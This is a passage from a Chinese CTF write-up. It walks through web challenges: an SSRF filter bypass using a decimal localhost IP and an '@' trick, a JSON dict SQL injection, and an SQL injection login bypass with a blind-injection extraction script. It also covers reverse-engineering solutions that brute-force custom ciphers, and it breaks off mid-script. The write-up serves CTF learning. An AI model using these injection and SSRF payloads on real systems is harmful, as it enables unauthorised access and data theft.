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"
import base64
import zlib
from io import BytesIO
# 原始数据
# data = '''eNqFnEmPK9uVnf/KxQWBKgP36THvzeZmGQWYfd8zk82EYBNskmQEyWBfMOCaCIW...''' # 省略中间内容,请粘贴完整字符串
# Base64 解码
decoded_data = base64.b64decode(code)
# Gzip 解压缩
result = zlib.decompress(decoded_data).decode('utf-8')
print(result)
解密后得到完整的格式化代码,(由于篇幅限制,此处不粘贴代码,有兴趣的师傅可以自己用脚本解压缩格式化查看),
部分分析不难看出原本的function是一个字典替代原本的混淆代码,用于对照混淆代码中的执行函数,
其中在J74中发现其值为一串可疑数字,可能为flag的某种编码
全局搜索J74的引用
发现如下处理
if (G < yw4) {
alert(O[s74](J74));
} else {
alert($vfeRha_calc(S74 + G / Rw4, Y74, $v5sNVR(vS4)));
}
其中yw4
的值为
结合题目描述内容以及alert函数,不难看出此处逻辑即判断拼图时长是否小于2s,而J74作为字符串传递到函数s74中进行处理,那么显然J74就是flag,继续跟进s74函数:
[s74]: function (...V) {
var X = false;
if (X) {
var y = $vspnXY(function (...N) {
N.length = 3;
N.muORf4 = 95;
N.JQFn6dh = {};
N.muORf4 = -15;
N.XwDm6K = -9;
if (N[2].length !== N[N.XwDm6K + 9].length + N[1].length) {
return false;
}
if (N.muORf4 > N.XwDm6K + 40) {
return N[126];
} else {
return G(N[0], N[1], N[N.muORf4 + 17], Us4, Us4, Us4, N.JQFn6dh);
}
}, 3);
var G = $vspnXY(function (...N) {
+(N.length = 7, N[15] = 44, N.ggvxfd = false);
if (N[N["15"] - (N["15"] - 5)] >= N[2].length) {
return true;
}
if (N[6]["" + N[3] + N[4] + N[5]] !== undefined) {
return N[6][$vfeRha_calc("" + N[N["15"] - 41] + N[N["15"] - 40], N[5], $v5sNVR(vS4))];
}
if (N[2][N[5]] === N[0][N[3]] && N[2][N[N["15"] - 39]] === N[1][N[4]]) {
N.ggvxfd = G(N[0], N[1], N[2], $vfeRha_calc(N[3], _o4, $v5sNVR(vS4)), N[4], $vfeRha_calc(N[5], _o4, $vyny2l = vS4), N[6]) || G(N[0], N[N["15"] - 43], N[2], N[3], $vfeRha_calc(N[4], _o4, $v5sNVR(vS4)), $vfeRha_calc(N[5], _o4, $vyny2l = vS4), N[6]);
} else if (N[2][N[N["15"] - 39]] === N[0][N[3]]) {
N.ggvxfd = G(N[0], N[1], N[2], $vfeRha_calc(N[N["15"] - (N["15"] - 3)], _o4, $v5sNVR(vS4)), N[4], $vfeRha_calc(N[5], _o4, $vyny2l = vS4), N[6]);
} else if (N[N["15"] - 42][N[5]] === N[1][N[4]]) {
N.ggvxfd = G(N[0], N[1], N[N["15"] - 42], N[3], $vfeRha_calc(N[4], _o4, $vyny2l = vS4), $vfeRha_calc(N[N["15"] - 39], _o4, $v5sNVR(vS4)), N[N["15"] - 38]);
}
if (N[15] > 166) {
return N[-197];
} else {
N[6][$vfeRha_calc("" + N[3] + N[N["15"] - 40], N[5], $v5sNVR(vS4))] = N.ggvxfd;
return N.ggvxfd;
}
}, 7);
console.log(y);
}
return infernity(...V);
}
其中if函数可以直接跳过不看,因为X值为false且if函数中未对传入的数据进行处理,反而是返回时的infernity函数又传递了传入变量,那么继续跟进infernity函数
var infernity = $vCXVye(function (...O) {
var h = {
get [m74]() {
return ogde564hc3f4;
}
};
return x3KH_(O, h);
}
还是在返回值处涉及到传入变量,那么继续跟进x3KH_
function x3KH_([input], V) {
if (V[m74] && $vQZ5Qr.jdth5fw > -Lx4) {
let G = input[b74]("")[M74]()[$74]("");
let h = "";
for (let O = Us4; O < G[Ht4]; O += xo4) {
h += String[R74](parseInt(G[L74](O, xo4), Xw4));
}
return h;
}
}
此处终于对输入数据进行处理,审计发现实际上是把字符串按字符拆分,反转后再拼接回字符串,每 xo4 个字符切片,按 16 进制转为整数,再转为对应字符,也就是每两位反转并最后reverse即可,使用cyberchef直接秒:
Fate
源码如下:
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
print('11111' + target_url)
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)
审计发现是ssrf绕过滤,通过/proxy
路由访问/1337
路由绕过对本地ip的校验
禁止使用字母和.
,在本地测试的时候因为与远程不通,死活都绕不过去,浪费了一整天时间,下午无意中尝试发现远程可以打通,无语了。
过滤了.可以使用十进制的ip绕过,2130706433
十进制代表127.0.0.1,因为前面拼接了一个网页链接,而request库使用的parse_url来自urllib3,这里在处理具体ip时会判断是否存在@,如果存在@则将@后地址作为目标地址,
具体处理如下:
因此可以使用@2130706433
绕过对本地的校验,后续传参为0的字母可以用url二次编码绕过,注意这里传1的参数时使用的&
也要进行url编码防止被认为是前面的传参。
后续就是绕输入长度限制和sql注入了。这里原本想着绕长度限制发现str无法做到把LAMENTXU传入,所以考虑使用别的方式,因为直接传str无法绕过长度限制,因此要用别的trick。
使用list和dict传递字符串时len返回的时内部元素的数量,但无关具体值的长度,借此绕过对长度限制,后续因为存在格式化字符串,因此整个list和dict都会被传入从而会出现脏字符{
和[
,而且waf中对)
的过滤对dict
并不会起效,因为只有在存在单独键名为)
时才会进入if,因此可以绕过。
后面需要用sql注入进行绕过,简单的sql万能密码limit即可,值得注意的是测试的时候发现waf过滤了list
,因此只能用dict。同时注意传参是二进制形式,写一个简单的string_to_binary即可。
import json
def string_to_binary(input_string):
return ''.join(format(ord(c), '08b') for c in input_string)
exp='{"name":{\"))))))) or 1=1 limit 1 offset 9--+\" : \"aaa\"}}'
print(string_to_binary(exp))
# print(json.loads('{"name":"\"\""}'))
res = json.loads(exp)
print(len(res["name"]))
print(res["name"])
if ')' in res["name"]:
print('NO )')
ezsql(手动滑稽)
sql注入绕过滤,比较简单就不细说了,
username=admin'%09OR%091=1%23&password=1
万能密码绕一下过滤就可以直接进入后台,但还需要一个密钥,
直接盲注即可
import requests
url = "http://eci-2zej6zc2vcwnmdx2ggdk.cloudeci1.ichunqiu.com"
length = 30
res = ""
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
for pos in range(1, length):
for char in chars:
# sql = f"username=admin'%09OR%09substring(database()%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
# sql = f"username=admin'%09OR%09substring((select%09table_name%09FROM%09information_schema.tables%09where%09table_schema='testdb'%09limit%091%09offset%092)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
# sql = f"username=admin'%09OR%09substring((select%09column_name%09FROM%09information_schema.columns%09where%09table_name='user'%09limit%091%09offset%090)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
sql = f"username=admin'%09OR%09substring((select%09secret%09FROM%09double_check%09limit%091%09offset%090)%09FROM%09{pos}%09FOR%091)='{char}'%23&password=1"
# sql = f"username=admin'%09OR%09mid((select%09secret%09FROM%09double_check%09limit%091),{pos},1)='{char}'%23&password=1"
# print(sql)
response = requests.post(url,data=sql,headers={'Content-Type': 'application/x-www-form-urlencoded'})
# print(response.text)
if '系统恶意登录' in response.text:
res += char
print(res)
break
else:
print('final ' + res)
print('finish')
exit()
得到管理员密钥:
进去后是个无回显的任意代码执行
fuzz一下是不给用空格和一些其他的命令,echo啥的,但cat可以用,可以把命令执行的结果写入文件然后访问就好
RE
WARMUP
VBS 脚本,改 execute 为 wscript.echo 即可打印后面混淆的代码
标准的 RC4 加密,CyberChef 解一下即可(竟然不能复制,还要 ocr,可恶
做一下 md5,用 XYCTF{} 包裹提交即可
Moon
pyd 逆向,help 查看 moon 的信息,可以看到 xor_crypt 函数,参数是 seed_value 和 data_bytes,同时 DATA 部分给出了 SEED 和 TARGET_HEX,应该就是满足 hex(xor_crypt(SEED, flag))=TARGET_HEX
做个黑盒测试,很容易发现这个加密是逐字节的
enc1 = moon.xor_crypt(moon.SEED,'flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}'.encode())
print(enc1.hex())
# 426b87abd0cdbe29666e4aaf3f7f313cd2f9037a85b3994bec972b13b751a46c28adebe8d20e
爆破即可
import moon
target_hex = moon.TARGET_HEX
target_bytes = bytes.fromhex(target_hex)
seed = moon.SEED
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}!@#$%^&*()-=+[]:;.,<>?/\\|~'
prefix = ""
max_total_len = 38
max_inner_len = max_total_len - len("flag{}")
while True:
found = False
for c in charset:
candidate = prefix + c
encrypted = moon.xor_crypt(seed, candidate.encode())
if target_bytes.startswith(encrypted):
print(f"命中字符:{c} → {candidate}")
prefix = candidate
found = True
break
if prefix.endswith("}") or len(prefix) == max_total_len:
print("爆破完成:", prefix)
break
# flag{but_y0u_l00k3d_up_@t_th3_mOOn}
Lake
关键函数在 start() -> sub_10000DC90() -> sub_1000023A0() -> a2()
具体没细看,可能是 TLS 回调,动调知道这里调用的 a2() 函数就是 sub_100001B70() 函数
这个函数前半部分是打印控制台会出现的四句话,以及处理用户的输入,然后是一个 vm
vm 就是 [opcode, operand1, operand2] 的形式,opcode 涉及加减乘除取余异或等八种运算
注意 vm 后面还有一个 sub_1000019B0() 加密,一开始漏了,一直写不出来,可恶
对四个字节进行操作,分别取不同字节的高3位和低5位重新拼接得到最终的密文
最终密文数组
先重新拼接一下得到 vm 的密文
correct_enc = [0x4A,0xAB,0x9B,0x1B,0x61,0xB1,0xF3,0x32,0xD1,0x8B,0x73,0xEB,0xE9,0x73,0x6B,0x22,0x81,0x83,0x23,0x31,0xCB,0x1B,0x22,0xFB,0x25,0xC2,0x81,0x81,0x73,0x22,0xFA,0x3,0x9C,0x4B,0x5B,0x49,0x97,0x87,0xDB,0x51]
enc = [0]*40
for i in range(0,len(correct_enc)//4):
enc[4*i] = (correct_enc[4*i+2]<<5|correct_enc[4*i+3]>>3)%256
enc[4*i+1] = (correct_enc[4*i]>>3|correct_enc[4*i+3]<<5)%256
enc[4*i+2] = (correct_enc[4*i]<<5|correct_enc[4*i+1]>>3)%256
enc[4*i+3] = (correct_enc[4*i+1]<<5|correct_enc[4*i+2]>>3)%256
print(enc)
# [99, 105, 85, 115, 102, 76, 54, 62, 125, 122, 49, 110, 100, 93, 46, 109, 102, 48, 48, 100, 95, 121, 99, 100, 48, 36, 184, 80, 64, 110, 100, 95, 105, 51, 137, 107, 106, 50, 240, 251]
vm 部分单字节加密,爆破即可
flag = [0]*len(enc)
for t in range(len(enc)):
for i in range(256):
input_char = [i] * len(enc)
tmp = input_char[t]
cnt = 0
while cnt < len(table):
word_100020060 = table[cnt]
word_100020070 = table[cnt + 1]
word_100020080 = table[cnt + 2]
if word_100020060 == 1:
input_char[word_100020070] = (input_char[word_100020070] + word_100020080) % 256
elif word_100020060 == 2:
input_char[word_100020070] = (input_char[word_100020070] - word_100020080) % 256
elif word_100020060 == 3:
input_char[word_100020070] = (input_char[word_100020070] * word_100020080) % 256
elif word_100020060 == 4:
input_char[word_100020070] = (input_char[word_100020070] // word_100020080) % 256
elif word_100020060 == 5:
input_char[word_100020070] = input_char[word_100020070] % word_100020080
elif word_100020060 == 6:
input_char[word_100020070] = (input_char[word_100020070] & word_100020080) % 256
elif word_100020060 == 7:
input_char[word_100020070] = (input_char[word_100020070] | word_100020080) % 256
elif word_100020060 == 8:
input_char[word_100020070] = (input_char[word_100020070] ^ word_100020080) % 256
cnt += 3
if input_char[t] == enc[t]:
print(f"找到明文: {input_char[t]} 对应 enc[{t}]")
flag[t] = tmp
break
print(flag)
decoded_message = ''.join(chr(c) for c in flag)
print("解密后的明文:", decoded_message)
# flag{L3@rn1ng_1n_0ld_sch00l_@nd_g3t_j0y}
Dragon
Clang 编译 Dragon.bc 文件
clang Dragon.bc -o Dragon
分析生成的二进制文件,输入的字符串每两个字符分一组传入关键函数 sub_140001000()
是一个 CRC64
仍然是没有扩散的加密,还是可以爆破(
import struct
import itertools
import string
enc = [
